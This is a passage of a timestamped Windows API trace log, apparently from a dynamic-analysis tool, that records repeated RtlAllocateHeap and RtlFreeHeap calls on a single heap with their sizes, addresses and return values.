RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d338) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d348) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ff98) returned 1 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d348 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399f0 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d348) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d348 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399f0 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d338 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d308 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39918 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2f8 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c398d0 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d348) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d338) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0048.883] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d338 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d348 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399f0 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39918) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d308) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c398d0) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2f8) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2f8 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c398d0 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d308 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39918 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d338) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d348) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d348 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399f0 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d338 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0048.884] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c398d0) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2f8) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39918) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d308) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d308 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39918 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39918) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d308) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d348) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d338) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0048.885] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0048.885] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d338 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399f0 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d348 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39918 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ff98 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d308 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c398d0 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2f8 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397f8 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x30) returned 0x1d3dd90 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ff98) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39cc0 [0048.886] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3e8 [0048.886] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3f8 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d50 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d408 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dd90) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d418 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39e28 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d428 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c9d8 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d438 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32d08 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d448 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32d50 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x50) returned 0x1d3dd90 [0048.887] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d458 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x50) returned 0x1c39e98 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d468 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d478 [0048.887] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32d98 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32de0 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d498 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32e28 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4a8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32e70 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4b8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32eb8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4c8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32f00 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4d8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32f48 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4e8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32f90 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4f8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32fd8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d508 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c33020 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d518 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c33068 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d528 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c330b0 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d538 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c330f8 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d548 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c33140 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d558 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c33188 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d568 [0048.888] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c331d0 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d338) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39918) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d348) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c398d0) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d308) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2f8) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397f8) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39cc0) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3e8) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d50) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3f8) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d408) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e28) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d418) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c9d8) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d428) returned 1 